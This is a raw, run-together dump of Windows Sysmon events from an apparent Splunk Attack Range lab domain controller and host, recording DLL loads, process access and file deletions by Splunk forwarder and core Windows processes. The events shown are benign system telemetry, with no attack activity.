CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000057119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000057114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.390{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000057107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.155{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.155{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.155{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000018290Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:18.043{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78D2583CD8967CE4FF8FF7DEC272ECF5,SHA256=E355DBE72BC04DE2B3BDF3DC45BD82109DA04ECBA225196ACE541B2F383B72C3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018291Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:19.059{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F1C915CE0C8DAE2526A245F880A759A,SHA256=C0CA1D90B6C42CC7531287CD4311D52AACD8CBE9CB24FD99C740A8B85D7786AD,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.733{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000057215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.733{7BD73061-751F-613B-B30B-00000000F001}61086604C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.733{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.733{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.592{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CFE1C4E17E1D1F5615297F0AF3058FE9,SHA256=10D614547985C0BFFAB7AB209AE2C14542BF45FE4DACF30C1A77930F30D76DC1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.592{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=210AB541CE5E4B2DF34F57AE548E4ED8,SHA256=85E2CBE4A7A6783D1AD2924D3ABCB086024FFACB732E8619BD46AEC52669E28C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.436{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:19.420{7BD73061-751F-613B-B30B-00000000F001}6108C:\Program 